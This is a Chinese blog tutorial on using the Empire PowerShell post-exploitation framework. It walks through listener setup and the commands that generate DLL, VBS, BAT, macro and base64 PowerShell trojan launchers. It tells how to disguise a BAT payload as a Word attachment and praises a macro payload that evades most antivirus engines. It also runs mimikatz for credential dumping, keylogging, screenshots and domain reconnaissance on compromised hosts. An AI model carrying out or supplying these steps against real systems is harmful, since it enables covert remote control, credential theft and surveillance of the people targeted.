前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PowerShell渗透–Empire

PowerShell渗透–Empire

作者头像
糖果
发布2019-11-20 19:01:14
2.1K0
发布2019-11-20 19:01:14
举报
文章被收录于专栏:糖果的实验室糖果的实验室

0x00 简介

Empire是一款针对Windows平台的,使用PowerShell脚本作为攻击载荷的渗透攻击框架代码具有从stager生成,提权到渗透维持的一系列功能,无需powershell.exe就可以使用powershell的代理功能还可以快速在后期部署漏洞利用模块,内置模块有键盘记录,Mimikatz,绕过UAC,内网扫描等,可以躲避网络检测和大部分安全防护工具,类似于Meterpreter,是一个基于PowerShell的远控木马(www.powershellempire.com)

0x02 安装

git clone https://github.com/EmpireProject/Empire.git

0x03 使用

help 查看帮助

  1. 设置监听
  2. listeners #进入监听线程界面
  3. uselistener #设置监听模式
  4. info #查看具体参数设置
  5. set #设置相应参数
  6. execute #开始监听

uselistener 用来设置监听模式

uselistener <tab> <tab> 查看可以使用的监听模式

uselistener http 采用http监听模式,输入info 查看具体参数设置

Required 为 true 的参数都是需要设置的

set Name Micr067 #设置任务名称

set Host 192.168.190.133 # 设置主机IP(Empire 所在服务器的地址)

execute # 执行

参数设置好后,可以在执行之前使用info 检查参数配置是否正确

# 需要注意的是Empire不同于metasploit,Empire命令是区分大小写的

输入back可以返回上一层,也就是listeners 界面,

list 列出当前激活的 listener

  1. 生成木马
  2. usestager #设置模块

使用 usestager 命令设置生成木马的模块

usestager <tab> <tab> 查看所有可使用的木马生成模块

其中 multi 为通用mok,osx 为 Mac操作系统的模块,windows 就是windows的模块。

(1) dll 模块

usestager windows/dll # 选择dll模块

info 查看一下需要设置的参数信息

这里我们需要设置一下listener,然后 execute 执行,木马生成目录 /tmp/launcher.dll

(2) launcher

如果只需要简单的powershell 代码,在设置完相应的参数后,可直接在监听器中输入命令 launcher <language> <Listener Name> 生成base64编码的代码,

输入back 返回到 Listener 界面,输入 launcher powershell Micr067 来生成一个payload

然后将生成的payload 在目标机器上执行,即可获得 session

可以看到Empire 已经上线了一个名为 GL8DBS32 的主机,

输入 agents 可以查看已经获得的session,这里的agents 相当于 msf 中的 sessions -l

此时的代理名GL8DBS32 是随机生成的,为了方便记忆,我们可以通过rename对其重命名

rename <Old Name> <New Name>

rename GL8DBS32 PC2

(3) launcher_vbs

usestager windows/launcher_vbs # 设置launcher_vbs木马

set Listener micr067

execute

当在目标机器上执行vbs木马,即可获得session,

当然也可以在配置好参数后返回 listener 通过 launcher powershell micr067 生成base 64代码运行

(4) launcher_bat

usestager windows/launcher_bat

set Listener micr067

execute

在目标主机上运行生成的launcher.bat,成功获得一个新的session

为了增加迷惑性,可以将bat文件插入一个office文件(word/excel)中,依次选择插入—对象—选择“由文件创建”—通过浏览“选定bat文件”—勾选“显示为图标”—“更改图标”从而获得更好的迷惑性,

将图标更改为word图标,更改文件显示名,可以获得更好的迷惑性,此处没word图标就凑活着用吧!

额,要是改为word图标简直完美。

当目标机器用户点击了word中的附件,即可触发运行bat,kali成功又获得一个新session

(5)Macro 木马

usestager windows/macro

set Listener micr067

execute

将生成的宏文件添加到office文件中,打开word文档,点击“试图”,选择“宏”,“宏名”随便起,宏位置选择当前office文件,单击“创建”会弹出VB编辑界面。

将原来的代码删除,将macro宏文件代码复制粘贴到其中,另存为“word 97-2003文档”

word 97-2003文档

将修改好的word发送到目标机器,当用户点击触发即可运行宏病毒,当用户点击启用宏内容时,

服务端将接收到session

由于在物理机上安装有杀毒软件,在物理机上打开word,服务端成功获得session,短时间内杀软未报毒,

当用户点击了“启用内容”按钮,下次打开word会自动运行宏病毒,不再弹出提示。

杀软反应还是很迟钝的,慢了7,8分钟,应该是本地病毒库没有匹配到特征在云端分析的

将样本上传virustotal进行分析,57家只有一家能够准确识别该宏病毒,

除了白利用,这种效果还是很理想的。

使用微步进行分析,检出率为0

  1. 连接主机
  2. agents #列出当前已连接的主机
  3. interact #连接主机
  4. remove stale #删除失效主机
  5. help agentcmds #查看常用命令
  6. 使用CMD命令时,要使用”shell+命令”

使用agents 列出当前已经连接的主机,Username带(*)说明是已经提权成功的主机。

interact <主机名> # 使用 interact 连接主机,主机名可以用tab补全

使用 help agentcmds 查看常用命令

尝试一下Empire内置的 mimikatz 模块,输入 mimikatz 命令,使用mimikatz 需要管理员权限,由于物理主机装了杀软,提权会被杀软拦截,这里使用的是payload域内的一台 win7 靶机。

creds 命令可以自动过滤、整理出获取到的用户密码。

当内网抓取到的密码比较多,比较乱的时候,可以通过 命令对 hash/plaintext 进行排列、增加、删除、导出等操作,

将 凭证 导出 ,输入 creds export /root/pc2.csv

pc2.csv.csv

在实际渗透中,总会出现部分主机会话丢失或者失效的情况,

使用 list stale 命令 列出已经丢失的反弹主机,然后输入remove stale 命令删除已经失效的主机

其他命令:

Bypass UAC 提权、SC 截图、Download 下载文件 、Upload 上传文件。。。

  1. 信息收集
  2. search module #搜索需要使用的模块
  3. usemodule powershell/collection+Tab #查看完整列表
  4. 常用模块
  5. usemodule powershell/collection/screenshotàexecute #截屏
  6. usemodule powershell/collection/keyloggeràexecute #键盘记录
  7. usemodule powershell/collection/clipboard_monitor #剪贴板记录
  8. usemodule powershell/situational_awareness/network/powerview/share_finder #列出域内所有共享
  9. usemodule powershell/situational_awareness/host/winenum #查看本级机用户,域组成员系统基本信息等

usemodule <tab> <tab> # 查看所有模块

usemodule powershell/collection/ <tab> <tab> # 查看collection模块具体功能

屏幕截图

usemodule powershell/collection/keylogger

截屏结果保存在目录 Empire/downloads/主机名/screenshot

键盘记录

usemodule powershell/collection/keylogger

set Agent PC2

execute

键盘记录结果保存在目录 Empire/downloads/主机名/agents.log

列出域内所有共享

powershell/situational_awareness/network/powerview/share_finder

查看本机用户,域组成员系统基本信息

usemodule powershell/situational_awareness/host/winenum

列举系统中所有有用信息,报告各种日志、RDP登录信息等

usemodule powershell/situational_awareness/host/computerdetails*

ARP扫描

usemodule powershell/situational_awareness/network/arpscan

set Agent PC2

set range 192.168.190.1-192.168.190.254

execute

dns信息获取

usemodule powershell/situational_awareness/network/reverse_dns

显示当前内网dns服务器地址

usemodule powershell/situational_awareness/host/dnsserver

查找域管登录服务器IP

usemodule powershell/situational_awareness/network/powerview/user_hunter

作者:Micr067

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 糖果的实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档